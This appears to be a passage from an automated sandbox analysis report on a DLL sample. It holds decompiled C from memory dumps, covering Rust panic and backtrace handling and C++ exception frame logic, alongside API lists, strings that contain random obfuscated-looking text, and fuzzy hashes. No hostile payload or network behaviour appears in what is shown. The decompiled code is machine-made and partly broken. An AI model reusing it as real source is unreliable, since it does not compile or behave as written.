										_t209 =  *0x6e7fa044; // 0x0
										__eflags = _t209;
										if(_t209 == 0) {
											_v36 = _t340;
											_t209 = E6E7B2B10(_t268, 0x6e7fa044, _t337, _t340);
											_t340 = _v36;
										}
										_t197 = TlsSetValue(_t209, _t340);
										goto L76;
									}
									L68:
									_t251 = E6E7C6C30(_t268, 0x10, 4, _t337, _t340, __eflags);
									asm("ud2");
									L69:
									_t332 = _v60;
									_t303 = _v64;
									__eflags = _t332 - 4;
									if(_t332 == 4) {
										__eflags =  *_t251 - 0x6c6c7566;
										if( *_t251 != 0x6c6c7566) {
											L84:
											_t340 = 2;
											_t271 = 0;
											__eflags = 0;
											L85:
											__eflags = _t303;
											if(_t303 != 0) {
												HeapFree( *0x6e7fadc8, 0, _t251);
											}
											L87:
											__eflags = _t271 - 5;
											_t316 = _a8;
											_t273 =  !=  ? _t340 : 1;
											_t280 =  !=  ? _t271 & 0x000000ff : 4;
											_t144 =  !=  ? _t340 : 1;
											_t268 =  *0x6e7fadb0;
											 *0x6e7fadb0 =  !=  ? _t340 : 1;
											L20:
											_v148 = _t316;
											_v128 = _t280;
											_t61 = _t337 + 0xc; // 0x6e7b3440
											_t199 =  *_t61;
											_v40 = _t199;
											_t200 =  *_t199(_v36);
											_t348 = _t348 + 4;
											_t318 = _t316 ^ 0x7ef2a91e | _t200 ^ 0xecc7bcf4;
											__eflags = _t318;
											if(__eflags != 0) {
												_t202 = _v40(_v36);
												_t348 = _t348 + 4;
												__eflags = _t318 ^ 0xe43a67d8 | _t202 ^ 0xbae7a625;
												if(__eflags != 0) {
													goto L63;
												}
												_t254 = _v36;
												_t281 =  *_t254;
												_t204 = _t254[2];
												goto L22;
											}
											_t255 = _v36;
											_t281 =  *_t255;
											_t204 = _t255[1];
											goto L22;
										}
										_t271 = 1;
										_t340 = 3;
										goto L85;
									}
									__eflags = _t332 - 1;
									if(_t332 != 1) {
										goto L84;
									}
									__eflags =  *_t251 - 0x30;
									if( *_t251 != 0x30) {
										goto L84;
									}
									_t271 = 4;
									_t340 = 1;
									goto L85;
								}
								_t207 = GetProcessHeap();
								__eflags = _t207;
								if(__eflags == 0) {
									goto L68;
								}
								 *0x6e7fadc8 = _t207;
								goto L67;
							} else {
								_t340 = _t197;
								__eflags = _t197 - 1;
								if(_t197 != 1) {
									L76:
									_t282 =  *(_t340 + 8);
									__eflags =  *_t340;
									_t138 = _t340 + 4; // 0x4
									_t337 = _t138;
									 *_t340 = 1;
									 *(_t340 + 4) = 0;
									 *(_t340 + 8) = 0;
									if(__eflags != 0) {
										__eflags = _t282;
										if(__eflags != 0) {
											asm("lock dec dword [ecx]");
											if(__eflags == 0) {
												_t197 = E6E7AC800(_t282);
											}
										}
									}
									goto L27;
								}
								_v84 = 0;
								_v36 = 0;
								_t213 = 0;
								__eflags = 0;
								goto L48;
							}
						} else {
							_t337 = _t197;
							if( *_t197 != 1) {
								goto L43;
							}
							_t337 = _t337 + 4;
							L27:
							if( *_t337 != 0) {
								E6E7C6EE0(_t268, "already borrowedC:tyampmimkkfvlytcfjjwzprktkelbfiygduxwusohmhocuefyyefupvncdqxnbdzpobcxrxttvayruifzxzewqpnxdhtoqxvhptxvtuswthpfrwnzpmyamwgyjpl", 0x10, __eflags,  &_v68, 0x6e7ed050, 0x6e7ed720);
								_t348 = _t348 + 0xc;
								goto L62;
							}
							 *_t337 = 0xffffffff;
							_t340 =  *(_t337 + 4);
							if(_t340 == 0) {
								_v36 = _t337;
								_v20 = 8;
								_t250 = E6E7AC690(_t268, _t337, _t340);
								_t337 = _v36;
								_t340 = _t250;
								_t197 =  *(_t337 + 4);
								_t359 = _t197;
								if(_t359 != 0) {
									asm("lock dec dword [eax]");
									if(_t359 == 0) {
										_t285 =  *(_t337 + 4);
										_t197 = E6E7AC800(_t285);
									}
								}
								 *(_t337 + 4) = _t340;
							}
							asm("lock inc dword [esi]");
							if(_t359 <= 0) {
								L17:
								asm("ud2");
								asm("ud2");
								goto L18;
							} else {
								 *_t337 =  *_t337 + 1;
								_v84 = _t340;
								_v36 = _t340;
								if(_t340 != 0) {
									_t212 =  *(_t340 + 0x10);
									__eflags = _t212;
									_t285 =  ==  ? _t212 : _t340 + 0x10;
									if(__eflags != 0) {
										L104:
										_t213 =  *_t285;
										_t285 =  *((intOrPtr*)(_t285 + 4)) - 1;
										L105:
										_v20 = 3;
										L48:
										_v124 = 0x6e7ed8fc;
										_v120 = 4;
										_v72 = 0;
										_v88 = 0;
										_v92 = 0;
										_v116 = 0;
										_v20 = 3;
										_t323 =  !=  ? _t213 : "<unnamed>thread \'\' panicked at \'\', ";
										_t215 =  !=  ? _t285 : 9;
										_v80 =  !=  ? _t213 : "<unnamed>thread \'\' panicked at \'\', ";
										_t324 =  &_v124;
										_v76 =  !=  ? _t285 : 9;
										_v68 =  &_v80;
										_v64 = 0x6e7ade50;
										_v60 =  &_v100;
										_v56 = 0x6e7ade50;
										_v52 =  &_v148;
										_v48 = E6E7ADE70;
										_v108 =  &_v68;
										_v104 = 3;
										if(E6E7AD2A0( &_v92, _t213) == 3) {
											_v20 = 7;
											_v40 = _t324;
											 *((intOrPtr*)( *((intOrPtr*)(_t324 + 4))))( *_t324);
											_t348 = _t348 + 4;
											_t343 = _v40;
											_t300 =  *((intOrPtr*)(_t343 + 4));
											if( *((intOrPtr*)(_t300 + 4)) != 0) {
												_t248 =  *_t343;
												if( *((intOrPtr*)(_t300 + 8)) >= 9) {
													_t248 =  *(_t248 - 4);
												}
												HeapFree( *0x6e7fadc8, 0, _t248);
											}
											HeapFree( *0x6e7fadc8, 0, _t343);
										}
										_t269 = _v128;
										_t222 =  <  ? (_t269 + 0x000000fd & 0x000000ff) + 1 : 0;
										if(_t222 == 0) {
											__imp__AcquireSRWLockExclusive(0x6e7fadac);
											_v68 = 0x6e7ed2c0;
											_v64 = 1;
											_v152 = 0x6e7fadac;
											_v41 = _t269;
											_v60 = 0;
											_v20 = 6;
											_v124 =  &_v41;
											_v120 = E6E7ADEE0;
											_v52 =  &_v124;
											_v48 = 1;
											_t225 = E6E7AD2A0( &_v92, __eflags);
											_t341 =  &_v68;
											__imp__ReleaseSRWLockExclusive(0x6e7fadac);
											__eflags = _t225 - 3;
											if(__eflags != 0) {
												goto L95;
											}
											_v20 = 5;
											_v40 = _t341;
											 *((intOrPtr*)( *((intOrPtr*)(_t341 + 4))))( *_t341);
											_t348 = _t348 + 4;
											goto L90;
										} else {
											if(_t222 == 1) {
												L95:
												_t372 = _v36;
												if(_t372 != 0) {
													asm("lock dec dword [eax]");
													if(_t372 == 0) {
														E6E7AC800(_v84);
													}
												}
												_t342 = _v140;
												_t338 = _v136;
												_t373 = _v72;
												if(_t373 != 0) {
													asm("lock dec dword [eax]");
													if(_t373 == 0) {
														E6E7ADC20(_v72);
													}
												}
												__imp__ReleaseSRWLockShared(0x6e7fadbc);
												_t374 = _v132 - 1;
												_v20 = 0xffffffff;
												if(_v132 > 1) {
													_v68 = 0x6e7eda8c;
													_v64 = 1;
													_v60 = 0;
													_v52 = 0x6e7ecd60;
													_v76 = 0;
													_v80 = 0;
													_v48 = 0;
													_t229 = E6E7AD2A0( &_v80, _t374);
													_v120 =  &_v68;
													_v124 = _t229;
													E6E7AD460( &_v124);
													asm("ud2");
													asm("ud2");
												}
												_t285 = _t338;
												E6E7AD440(_t285, _t342, _t374);
												asm("ud2");
												goto L104;
											}
											 *0x6e7fa040 = 0;
											_t368 =  *0x6e7fa040;
											if( *0x6e7fa040 == 0) {
												goto L95;
											}
											_t330 =  &_v68;
											_v68 = 0x6e7ed96c;
											_v64 = 1;
											_v60 = 0;
											_v52 = 0x6e7ecd60;
											_v48 = 0;
											_v20 = 3;
											if(E6E7AD2A0( &_v92, _t368) != 3) {
												goto L95;
											}
											_v40 = _t330;
											_v20 = 4;
											 *((intOrPtr*)( *((intOrPtr*)(_t330 + 4))))( *_t330);
											_t348 = _t348 + 4;
											L90:
											_t296 =  *((intOrPtr*)(_v40 + 4));
											if( *((intOrPtr*)(_t296 + 4)) != 0) {
												_t238 =  *_v40;
												if( *((intOrPtr*)(_t296 + 8)) >= 9) {
													_t238 =  *(_t238 - 4);
												}
												HeapFree( *0x6e7fadc8, 0, _t238);
											}
											HeapFree( *0x6e7fadc8, 0, _v40);
											goto L95;
										}
									}
									_t213 = 0;
									goto L105;
								}
								_t213 = 0;
								goto L48;
							}
						}
					}
				}
			}

APIs

Part of subcall function 6E7AC8C0: AcquireSRWLockShared.KERNEL32(6E7FADBC), ref: 6E7AC945

HeapFree.KERNEL32(00000000,00000000), ref: 6E7ACA9C
HeapFree.KERNEL32(00000000,?), ref: 6E7ACAAA
TlsGetValue.KERNEL32(00000000), ref: 6E7ACB0D
HeapFree.KERNEL32(00000000,00000000), ref: 6E7ACCF1
HeapFree.KERNEL32(00000000,?), ref: 6E7ACCFF

Strings

Y3{n, xrefs: 6E7AC8C5
cannot access a Thread Local Storage value during or after destructionC:jhdokdvbachceydqtheqlppakhgzijyekeivcljjvbkvyjmwyqejgcsvnqcbhbexvfcyaikjiycwgbjpytkvctpgymeigmgnvityoxcirvtcevutdotfqbgtduf, xrefs: 6E7AC90D, 6E7AC988
Box<dyn Any><unnamed>thread '' panicked at '', , xrefs: 6E7ACDC0

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$AcquireLockSharedValue
String ID: Box<dyn Any><unnamed>thread '' panicked at '', $Y3{n$cannot access a Thread Local Storage value during or after destructionC:jhdokdvbachceydqtheqlppakhgzijyekeivcljjvbkvyjmwyqejgcsvnqcbhbexvfcyaikjiycwgbjpytkvctpgymeigmgnvityoxcirvtcevutdotfqbgtduf
API String ID: 942675266-449228936
Opcode ID: 5aa4590b2e115b0874f8505b190c1dca5103880268681190ddc33a239fc3dc28
Instruction ID: 8bebbee71251c7640e1460aa261e2dbb36758b7bacbcfd20c47b8ee7974e4ac0
Opcode Fuzzy Hash: 5aa4590b2e115b0874f8505b190c1dca5103880268681190ddc33a239fc3dc28
Instruction Fuzzy Hash: 2E026AB0900209DFDB10CFE8CA4479EBBB5FF45309F108629DA15AB3A0D776A946CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AE690, Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 135
libraryloadersynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E6E7AE690(void* __ebx, void* __edi, void* __esi, char _a8) {
				int _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* __ebp;
				void* _t15;
				struct HINSTANCE__* _t20;
				signed int _t21;
				void* _t23;
				_Unknown_base(*)()* _t25;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t30;
				void* _t35;
				_Unknown_base(*)()* _t38;
				_Unknown_base(*)()* _t39;
				signed int _t50;
				_Unknown_base(*)()* _t52;
				void* _t59;

				_t48 = __edi;
				_push(__edi);
				_v32 = _t59 - 0x14;
				_v20 = 0xffffffff;
				_v24 = E6E7B3BA0;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t35 =  *0x6e7fadc4; // 0x0
				if(_t35 == 0) {
					_t15 = CreateMutexA(0, 0, "Local\\RustBacktraceMutex");
					__eflags = _t15;
					if(_t15 == 0) {
						_t54 = 1;
						goto L19;
					} else {
						_t35 = _t15;
						__eflags = 0;
						asm("lock cmpxchg [0x6e7fadc4], ebx");
						if(0 != 0) {
							CloseHandle(_t35);
							_t35 = 0;
						}
						goto L1;
					}
				} else {
					L1:
					WaitForSingleObjectEx(_t35, 0xffffffff, 0);
					_t20 =  *0x6e7fadd0; // 0x0
					if(_t20 != 0) {
						L3:
						_t54 = 0;
						if( *0x6e7fae04 != 0) {
							goto L19;
						} else {
							_t38 =  *0x6e7fadd4; // 0x0
							if(_t38 != 0) {
								L7:
								_t21 =  *_t38();
								_t39 =  *0x6e7fadd8; // 0x0
								_t50 = _t21;
								if(_t39 != 0) {
									L10:
									 *_t39(_t50 | 0x00000004);
									_t52 =  *0x6e7faddc; // 0x0
									if(_t52 != 0) {
										L13:
										_t23 = GetCurrentProcess();
										 *_t52(_t23, 0, 1);
										 *0x6e7fae04 = 1;
										goto L19;
									} else {
										_t25 = GetProcAddress( *0x6e7fadd0, "SymInitializeW");
										if(_t25 == 0) {
											_v36 = _t35;
											_v20 = 0;
											E6E7C6E20(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t52, _t54, __eflags, 0x6e7edcac);
											goto L23;
										} else {
											_t52 = _t25;
											 *0x6e7faddc = _t25;
											goto L13;
										}
									}
								} else {
									_t28 = GetProcAddress( *0x6e7fadd0, "SymSetOptions");
									if(_t28 == 0) {
										_v36 = _t35;
										_v20 = 0;
										E6E7C6E20(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t50, _t54, __eflags, 0x6e7edc9c);
										goto L23;
									} else {
										_t39 = _t28;
										 *0x6e7fadd8 = _t28;
										goto L10;
									}
								}
							} else {
								_t30 = GetProcAddress(_t20, "SymGetOptions");
								if(_t30 == 0) {
									_v36 = _t35;
									_v20 = 0;
									E6E7C6E20(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t48, 0, __eflags, 0x6e7edc8c);
									L23:
									asm("ud2");
									__eflags =  &_a8;
									return E6E7AE880(_v36);
								} else {
									_t38 = _t30;
									 *0x6e7fadd4 = _t30;
									goto L7;
								}
							}
						}
					} else {
						_t20 = LoadLibraryA("dbghelp.dll");
						 *0x6e7fadd0 = _t20;
						if(_t20 == 0) {
							ReleaseMutex(_t35);
							_t54 = 1;
							L19:
							 *[fs:0x0] = _v28;
							return _t54;
						} else {
							goto L3;
						}
					}
				}
			}

APIs

WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6E7AE6D0
LoadLibraryA.KERNEL32(dbghelp.dll,00000000,000000FF,00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6E7AE6E3
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 6E7AE714
GetProcAddress.KERNEL32(SymSetOptions), ref: 6E7AE742
GetProcAddress.KERNEL32(SymInitializeW), ref: 6E7AE772
GetCurrentProcess.KERNEL32 ref: 6E7AE787
CreateMutexA.KERNEL32(00000000,00000000,Local\RustBacktraceMutex), ref: 6E7AE7A5
CloseHandle.KERNEL32(00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6E7AE7C3

Part of subcall function 6E7AE880: ReleaseMutex.KERNEL32(?,6E7AE5F8), ref: 6E7AE881

Strings

SymGetOptions, xrefs: 6E7AE70E
dbghelp.dll, xrefs: 6E7AE6DE
SymSetOptions, xrefs: 6E7AE737
Local\RustBacktraceMutex, xrefs: 6E7AE79C
SymInitializeW, xrefs: 6E7AE767
called `Option::unwrap()` on a `None` value, xrefs: 6E7AE801, 6E7AE824, 6E7AE847

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$Mutex$CloseCreateCurrentHandleLibraryLoadObjectProcessReleaseSingleWait
String ID: Local\RustBacktraceMutex$SymGetOptions$SymInitializeW$SymSetOptions$called `Option::unwrap()` on a `None` value$dbghelp.dll
API String ID: 1067696788-3213342004
Opcode ID: bcb0d19870d6a8ee0743b02e9d31759d827fafa2bd4a01bb1ce8f4b816c6b7d1
Instruction ID: e7fc124bbf732949326d1ce160cf7706faf3650345e746c27416c22df9b4d0d5
Opcode Fuzzy Hash: bcb0d19870d6a8ee0743b02e9d31759d827fafa2bd4a01bb1ce8f4b816c6b7d1
Instruction Fuzzy Hash: C1412971A006499FEF009FF8DF9876A37ADEB85714F000639E616DB3A4E7749840CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BD036, Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E6E7BD036(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t202;
				signed int _t203;
				char _t204;
				signed int _t206;
				signed int _t208;
				signed char* _t209;
				signed int _t210;
				signed int _t211;
				signed int _t215;
				void* _t218;
				signed char* _t221;
				void* _t223;
				void* _t225;
				signed char _t229;
				signed int _t230;
				void* _t232;
				void* _t235;
				void* _t238;
				signed char _t245;
				signed int _t250;
				void* _t253;
				signed int* _t255;
				signed int _t256;
				intOrPtr _t257;
				signed int _t258;
				void* _t263;
				void* _t268;
				void* _t269;
				signed int _t273;
				signed char* _t274;
				intOrPtr* _t275;
				signed char _t276;
				signed int _t277;
				signed int _t278;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t298;
				signed int _t300;
				signed char* _t301;
				signed int _t302;
				signed int _t303;
				signed int* _t305;
				signed char* _t308;
				signed int _t318;
				signed int _t319;
				signed int _t321;
				signed int _t330;
				void* _t332;
				void* _t334;
				void* _t335;
				void* _t336;
				void* _t337;

				_t300 = __edx;
				_push(_t319);
				_t305 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t279 = E6E7BDF98(_a8, _a16, _t305);
				_t335 = _t334 + 0xc;
				_v12 = _t279;
				if(_t279 < 0xffffffff || _t279 >= _t305[1]) {
					L66:
					_t202 = E6E7BF563(_t274, _t279, _t300, _t305, _t319);
					asm("int3");
					_t332 = _t335;
					_t336 = _t335 - 0x38;
					_push(_t274);
					_t275 = _v112;
					__eflags =  *_t275 - 0x80000003;
					if( *_t275 == 0x80000003) {
						return _t202;
					} else {
						_push(_t319);
						_push(_t305);
						_t203 = E6E7BCCF1(_t275, _t279, _t300, _t305, _t319);
						__eflags =  *(_t203 + 8);
						if( *(_t203 + 8) != 0) {
							__imp__EncodePointer(0);
							_t319 = _t203;
							_t223 = E6E7BCCF1(_t275, _t279, _t300, 0, _t319);
							__eflags =  *((intOrPtr*)(_t223 + 8)) - _t319;
							if( *((intOrPtr*)(_t223 + 8)) != _t319) {
								__eflags =  *_t275 - 0xe0434f4d;
								if( *_t275 != 0xe0434f4d) {
									__eflags =  *_t275 - 0xe0434352;
									if( *_t275 != 0xe0434352) {
										_t215 = E6E7BC537(_t300, 0, _t319, _t275, _a4, _a8, _a12, _a16, _a24, _a28);
										_t336 = _t336 + 0x1c;
										__eflags = _t215;
										if(_t215 != 0) {
											L83:
											return _t215;
										}
									}
								}
							}
						}
						_t204 = _a16;
						_v28 = _t204;
						_v24 = 0;
						__eflags =  *(_t204 + 0xc);
						if( *(_t204 + 0xc) > 0) {
							_push(_a24);
							E6E7BC46A(_t275, _t279, 0, _t319,  &_v44,  &_v28, _a20, _a12, _t204);
							_t302 = _v40;
							_t337 = _t336 + 0x18;
							_t215 = _v44;
							_v20 = _t215;
							_v12 = _t302;
							__eflags = _t302 - _v32;
							if(_t302 >= _v32) {
								goto L83;
							}
							_t281 = _t302 * 0x14;
							__eflags = _t281;
							_v16 = _t281;
							do {
								_t282 = 5;
								_t218 = memcpy( &_v64,  *((intOrPtr*)( *_t215 + 0x10)) + _t281, _t282 << 2);
								_t337 = _t337 + 0xc;
								__eflags = _v64 - _t218;
								if(_v64 > _t218) {
									goto L82;
								}
								__eflags = _t218 - _v60;
								if(_t218 > _v60) {
									goto L82;
								}
								_t221 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t287 = _t221[4];
								__eflags = _t287;
								if(_t287 == 0) {
									L80:
									__eflags =  *_t221 & 0x00000040;
									if(( *_t221 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E6E7BCFB6(_t302, _t275, _a4, _a8, _a12, _a16, _t221, 0,  &_v64, _a24, _a28);
										_t302 = _v12;
										_t337 = _t337 + 0x30;
									}
									goto L82;
								}
								__eflags =  *((char*)(_t287 + 8));
								if( *((char*)(_t287 + 8)) != 0) {
									goto L82;
								}
								goto L80;
								L82:
								_t302 = _t302 + 1;
								_t215 = _v20;
								_t281 = _v16 + 0x14;
								_v12 = _t302;
								_v16 = _t281;
								__eflags = _t302 - _v32;
							} while (_t302 < _v32);
							goto L83;
						}
						E6E7BF563(_t275, _t279, _t300, 0, _t319);
						asm("int3");
						_push(_t332);
						_t301 = _v184;
						_push(_t275);
						_push(_t319);
						_push(0);
						_t206 = _t301[4];
						__eflags = _t206;
						if(_t206 == 0) {
							L108:
							_t208 = 1;
							__eflags = 1;
						} else {
							_t280 = _t206 + 8;
							__eflags =  *_t280;
							if( *_t280 == 0) {
								goto L108;
							} else {
								__eflags =  *_t301 & 0x00000080;
								_t308 = _v0;
								if(( *_t301 & 0x00000080) == 0) {
									L90:
									_t276 = _t308[4];
									_t321 = 0;
									__eflags = _t206 - _t276;
									if(_t206 == _t276) {
										L100:
										__eflags =  *_t308 & 0x00000002;
										if(( *_t308 & 0x00000002) == 0) {
											L102:
											_t209 = _a4;
											__eflags =  *_t209 & 0x00000001;
											if(( *_t209 & 0x00000001) == 0) {
												L104:
												__eflags =  *_t209 & 0x00000002;
												if(( *_t209 & 0x00000002) == 0) {
													L106:
													_t321 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t301 & 0x00000002;
													if(( *_t301 & 0x00000002) != 0) {
														goto L106;
													}
												}
											} else {
												__eflags =  *_t301 & 0x00000001;
												if(( *_t301 & 0x00000001) != 0) {
													goto L104;
												}
											}
										} else {
											__eflags =  *_t301 & 0x00000008;
											if(( *_t301 & 0x00000008) != 0) {
												goto L102;
											}
										}
										_t208 = _t321;
									} else {
										_t185 = _t276 + 8; // 0x6e
										_t210 = _t185;
										while(1) {
											_t277 =  *_t280;
											__eflags = _t277 -  *_t210;
											if(_t277 !=  *_t210) {
												break;
											}
											__eflags = _t277;
											if(_t277 == 0) {
												L96:
												_t211 = _t321;
											} else {
												_t278 =  *((intOrPtr*)(_t280 + 1));
												__eflags = _t278 -  *((intOrPtr*)(_t210 + 1));
												if(_t278 !=  *((intOrPtr*)(_t210 + 1))) {
													break;
												} else {
													_t280 = _t280 + 2;
													_t210 = _t210 + 2;
													__eflags = _t278;
													if(_t278 != 0) {
														continue;
													} else {
														goto L96;
													}
												}
											}
											L98:
											__eflags = _t211;
											if(_t211 == 0) {
												goto L100;
											} else {
												_t208 = 0;
											}
											goto L109;
										}
										asm("sbb eax, eax");
										_t211 = _t210 | 0x00000001;
										__eflags = _t211;
										goto L98;
									}
								} else {
									__eflags =  *_t308 & 0x00000010;
									if(( *_t308 & 0x00000010) != 0) {
										goto L108;
									} else {
										goto L90;
									}
								}
							}
						}
						L109:
						return _t208;
					}
				} else {
					_t274 = _a4;
					if( *_t274 != 0xe06d7363 || _t274[0x10] != 3 || _t274[0x14] != 0x19930520 && _t274[0x14] != 0x19930521 && _t274[0x14] != 0x19930522) {
						L22:
						_t300 = _a12;
						_v8 = _t300;
						goto L24;
					} else {
						_t319 = 0;
						if(_t274[0x1c] != 0) {
							goto L22;
						} else {
							_t225 = E6E7BCCF1(_t274, _t279, _t300, _t305, 0);
							if( *((intOrPtr*)(_t225 + 0x10)) == 0) {
								L60:
								return _t225;
							} else {
								_t274 =  *(E6E7BCCF1(_t274, _t279, _t300, _t305, 0) + 0x10);
								_t263 = E6E7BCCF1(_t274, _t279, _t300, _t305, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t263 + 0x14));
								if(_t274 == 0 ||  *_t274 == 0xe06d7363 && _t274[0x10] == 3 && (_t274[0x14] == 0x19930520 || _t274[0x14] == 0x19930521 || _t274[0x14] == 0x19930522) && _t274[0x1c] == _t319) {
									goto L66;
								} else {
									if( *((intOrPtr*)(E6E7BCCF1(_t274, _t279, _t300, _t305, _t319) + 0x1c)) == _t319) {
										L23:
										_t300 = _v8;
										_t279 = _v12;
										L24:
										_v52 = _t305;
										_v48 = 0;
										__eflags =  *_t274 - 0xe06d7363;
										if( *_t274 != 0xe06d7363) {
											L56:
											__eflags = _t305[3];
											if(_t305[3] <= 0) {
												goto L59;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L66;
												} else {
													_push(_a32);
													_push(_a28);
													_push(_t279);
													_push(_t305);
													_push(_a16);
													_push(_t300);
													_push(_a8);
													_push(_t274);
													L67();
													_t335 = _t335 + 0x20;
													goto L59;
												}
											}
										} else {
											__eflags = _t274[0x10] - 3;
											if(_t274[0x10] != 3) {
												goto L56;
											} else {
												__eflags = _t274[0x14] - 0x19930520;
												if(_t274[0x14] == 0x19930520) {
													L29:
													_t319 = _a32;
													__eflags = _t305[3];
													if(_t305[3] > 0) {
														_push(_a28);
														E6E7BC46A(_t274, _t279, _t305, _t319,  &_v68,  &_v52, _t279, _a16, _t305);
														_t300 = _v64;
														_t335 = _t335 + 0x18;
														_t250 = _v68;
														_v44 = _t250;
														_v16 = _t300;
														__eflags = _t300 - _v56;
														if(_t300 < _v56) {
															_t294 = _t300 * 0x14;
															__eflags = _t294;
															_v32 = _t294;
															do {
																_t295 = 5;
																_t253 = memcpy( &_v104,  *((intOrPtr*)( *_t250 + 0x10)) + _t294, _t295 << 2);
																_t335 = _t335 + 0xc;
																__eflags = _v104 - _t253;
																if(_v104 <= _t253) {
																	__eflags = _t253 - _v100;
																	if(_t253 <= _v100) {
																		_t298 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t255 =  *(_t274[0x1c] + 0xc);
																			_t303 =  *_t255;
																			_t256 =  &(_t255[1]);
																			__eflags = _t256;
																			_v36 = _t256;
																			_t257 = _v88;
																			_v40 = _t303;
																			_v24 = _t257;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t318 = _v36;
																				_t330 = _t303;
																				__eflags = _t330;
																				if(_t330 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_push(_t274[0x1c]);
																						_t258 =  &_v84;
																						_push( *_t318);
																						_push(_t258);
																						L86();
																						_t335 = _t335 + 0xc;
																						__eflags = _t258;
																						if(_t258 != 0) {
																							break;
																						}
																						_t330 = _t330 - 1;
																						_t318 = _t318 + 4;
																						__eflags = _t330;
																						if(_t330 > 0) {
																							continue;
																						} else {
																							_t298 = _v20;
																							_t257 = _v24;
																							_t303 = _v40;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					E6E7BCFB6(_t303, _t274, _a8, _v8, _a16, _a20,  &_v84,  *_t318,  &_v104, _a28, _a32);
																					_t335 = _t335 + 0x30;
																				}
																				L43:
																				_t300 = _v16;
																				goto L44;
																				L40:
																				_t298 = _t298 + 1;
																				_t257 = _t257 + 0x10;
																				_v20 = _t298;
																				_v24 = _t257;
																				__eflags = _t298 - _v92;
																			} while (_t298 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t300 = _t300 + 1;
																_t250 = _v44;
																_t294 = _v32 + 0x14;
																_v16 = _t300;
																_v32 = _t294;
																__eflags = _t300 - _v56;
															} while (_t300 < _v56);
															_t305 = _a20;
															_t319 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push(1);
														E6E7BCA71(_t274, _t305, _t319, __eflags);
														_t279 = _t274;
													}
													__eflags = ( *_t305 & 0x1fffffff) - 0x19930521;
													if(( *_t305 & 0x1fffffff) < 0x19930521) {
														L59:
														_t225 = E6E7BCCF1(_t274, _t279, _t300, _t305, _t319);
														__eflags =  *(_t225 + 0x1c);
														if( *(_t225 + 0x1c) != 0) {
															goto L66;
														} else {
															goto L60;
														}
													} else {
														__eflags = _t305[7];
														if(_t305[7] != 0) {
															L52:
															_t229 = _t305[8] >> 2;
															__eflags = _t229 & 0x00000001;
															if((_t229 & 0x00000001) == 0) {
																_push(_t305[7]);
																_t230 = E6E7BDA45(_t274, _t305, _t319, _t274);
																_pop(_t279);
																__eflags = _t230;
																if(_t230 == 0) {
																	goto L63;
																} else {
																	goto L59;
																}
															} else {
																 *(E6E7BCCF1(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
																_t238 = E6E7BCCF1(_t274, _t279, _t300, _t305, _t319);
																_t290 = _v8;
																 *((intOrPtr*)(_t238 + 0x14)) = _v8;
																goto L61;
															}
														} else {
															_t245 = _t305[8] >> 2;
															__eflags = _t245 & 0x00000001;
															if((_t245 & 0x00000001) == 0) {
																goto L59;
